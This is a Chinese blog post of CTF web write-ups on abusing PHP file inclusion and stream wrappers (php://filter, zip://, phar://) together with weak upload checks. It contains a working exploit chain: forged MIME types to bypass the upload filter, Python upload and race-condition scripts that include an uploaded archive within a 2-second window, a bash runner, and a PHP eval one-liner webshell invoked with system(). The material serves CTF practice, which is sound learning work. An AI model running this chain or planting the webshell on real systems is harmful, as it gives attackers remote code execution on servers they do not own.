美文网首页
文件上传的ctf_web题目【伪协议】

文件上传的ctf_web题目【伪协议】

作者: jessica1123 | 来源:发表于2017-08-06 17:24 被阅读1162次

    1.第一题

    Qiyu_20170807_210121.png

    文件包含

    题目:http://58.154.33.13:8004/index.php

    可以读到php源代码

    伪协议
    zip://archive.zip#1.php
    php://filter/read=convert.base64-encode//resource=index
    index.php后面是否需要添加后缀,要注意看浏览器地址栏的情况,本题用伪协议查看index.php的源代码的base64编码串

    查看源代码
    http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index为index.php的文件名

    源代码:

    <?php
                    require("header.php");
                    $page="";
                    if (isset($_GET['page']))
                        $page=$_GET['page'].".php";    #page参数自动添加了.php后缀,因此文件包含的index不需要加后缀
                    else
                        $page="main.php";
                    include($page);
    ?>
    

    本题还可以通过文件包含,查看upload.php的源代码

    <html lang="zh-CN">
      <head>
        <meta charset="utf-8">
    <?php
    $error=$_FILES['pic']['error'];
    $tmpName=$_FILES['pic']['tmp_name'];
    $name=$_FILES['pic']['name'];
    $size=$_FILES['pic']['size'];
    $type=$_FILES['pic']['type'];
    try{
        if($name!=="")
        {
            $name1=substr($name,-4);
            if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))
            {
                echo "hehe";
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if($type!=="image/jpeg"&&$type!=="image/gif")
            {
                echo mime_content_type($tmpName);
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if(is_uploaded_file($tmpName)){
                $time=time();
                $rootpath='uploads/'.$time.$name1;
                if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
        }
        echo "图片ID:".$time;
        }
    }
    catch(Exception $e)
    {
        echo "ERROR";
    }
    //
     ?>
     </html>
    

    最后,可以通过burp修改http包的Content-Type: image/gif,上传一个包含1.php的a.zip的压缩包

    之后找到zip所在的路径,用zip伪协议浏览里面的php
    http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php

    然后执行i.php的webshell,提交post参数调用系统命令,实现shell

    2.第二题

    跟上一题一样,先用php://filter/read=convert.base64-encode//resource=upload查看源代码

    <html lang="zh-CN">
      <head>
        <meta charset="utf-8">
    <?php
    $error=$_FILES['pic']['error'];
    $tmpName=$_FILES['pic']['tmp_name'];
    $name=$_FILES['pic']['name'];
    $size=$_FILES['pic']['size'];
    $type=$_FILES['pic']['type'];
    try{
        if($name!=="")
        {
            $name1=substr($name,-4);
            if(($name1!==".gif") and ($name1!==".jpg"))
            {
                echo "hehe";
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if($type!=="image/jpeg"&&$type!=="image/gif")
            {
                //echo mime_content_type($tmpName);
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if(is_uploaded_file($tmpName)){
                $time=time();
                $rootpath='uploads/'.$time.$name1;
                if(!move_uploaded_file($tmpName,$rootpath)){
                    echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                    exit;
                }
                else{
                    sleep(2);               
                    if ($type=='image/jpeg')
                    {
                        $im = @imagecreatefromjpeg($rootpath);
                        if(!$im){
                          $im = imagecreatetruecolor(150, 30);
                          $bg = imagecolorallocate($im, 255, 255, 255);
                          $text_color = imagecolorallocate($im, 0, 0, 255);
                          imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                          imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                        } else {
                            $time=time();
                            $new_rootpath='uploads/'.$time.$name1;
                            imagejpeg($im,$new_rootpath);
                            imagedestroy($im);
                        }
                    }
                    else if ($type=='image/gif')
                    {
                        $im = @imagecreatefromgif($rootpath);
                        if(!$im){
                          $im = imagecreatetruecolor(150, 30);
                          $bg = imagecolorallocate($im, 255, 255, 255);
                          $text_color = imagecolorallocate($im, 0, 0, 255);
                          imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                          imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                        } else {
                            $time=time();
                            $new_rootpath='uploads/'.$time.$name1;
                            imagegif($im,$new_rootpath);
                            imagedestroy($im);
                        }
                    }
                    unlink($rootpath);
                }
            }
            echo "图片ID:".$time;
        }
    }
    catch(Exception $e)
    {
        echo "ERROR";
    }
    //
     ?>
     </html>
    

    查看源码后,发现php代码里面在做一般的检查之后,会先sleep(2),之后会对图片进行转换,如果不是正常的图片就会被删除;因此,我们需要在上传完文件的这2秒内,用另外一个脚本去文件包含shell执行
    以下是两个脚本的代码:

    upload.py用来上传zip压缩包

    #!/usr/bin/env python
    # encoding: utf-8
    
    import requests
    
    url = "http://202.112.51.217:8199/upload.php"
    
    data = {
        'title': 'admin',
        'url': 'admin'
    }
    #此处**'pic'**是因为上面的upload.php里面判断用的键名
    files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}
    # 这里使用 requests 库来上传文件有几种方式
    # 这种方式可以控制文件名以及文件类型
    # 可以用来绕过基于客户端的文件名和文件类型检测
    
    response = requests.post(url, data=data, files=files)
    content = response.content
    print content
    
    

    shell.py用来进行文件包含执行webshell

    #!/usr/bin/env python
    # encoding: utf-8
    
    import requests
    #由于此题apache2配置的问题导致可以直接读uploads目录
    url = "http://202.112.51.217:8199/uploads/"
    
    response = requests.get(url)
    
    content = response.content
    
    files = []
    #这里用来寻找到最新的(你刚上传的)webshell文件的名字
    for line in content.split("\n"):
        if "href=" in line:
            files.append(line.split("href=\"")[1].split("\">")[0])
    #一般是这些保存的文件的最后一个
    filename = files[-1]
    #此处zip://试过不行,似乎是因为php版本的原因,因此改用phar://伪协议去执行解压缩
    url = "http://202.112.51.217:8199
    /index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');"  #此处‘head *’用来打印当前目录下所有文件的前十行
    print requests.get(url).content
    

    sh.php是一句话木马

    //这里因为上面的shell.py最后用的是GET请求,因此,写REQUEST或者GET都可以,如果要用POST要更改shell.py脚本
    <?php @eval($_REQUEST[w]);?>
    
    

    这两个脚本你可以接连在两个终端上执行,也可以写一个shell脚本去执行,下面是shell.sh的内容

    #!/bin/bash
    python upload.py&    #后面加&就不会阻塞后面的命令执行
    sleep 0.5     #这里是为了给上传文件留出一定的时间
    python shell.py    #此处用于执行webshell
    

    执行的结果图:

    Paste_Image.png

    注:requests库上传文件的书写格式,官方文档传送门

    Paste_Image.png

    3.第三题

    X-NUCA 练习:login

    http://218.76.35.75:20115/login.php
    writeup请点击
    注:通过log来写入webshell,构造zip压缩包

    4.第四题

    NS 笔记管理系统WP

    NS笔记管理系统题目地址:http://218.76.35.74:20128/index.php?action=front&mode=login

    相关文章

      网友评论

          本文标题:文件上传的ctf_web题目【伪协议】

          本文链接:https://www.haomeiwen.com/subject/jucnlxtx.html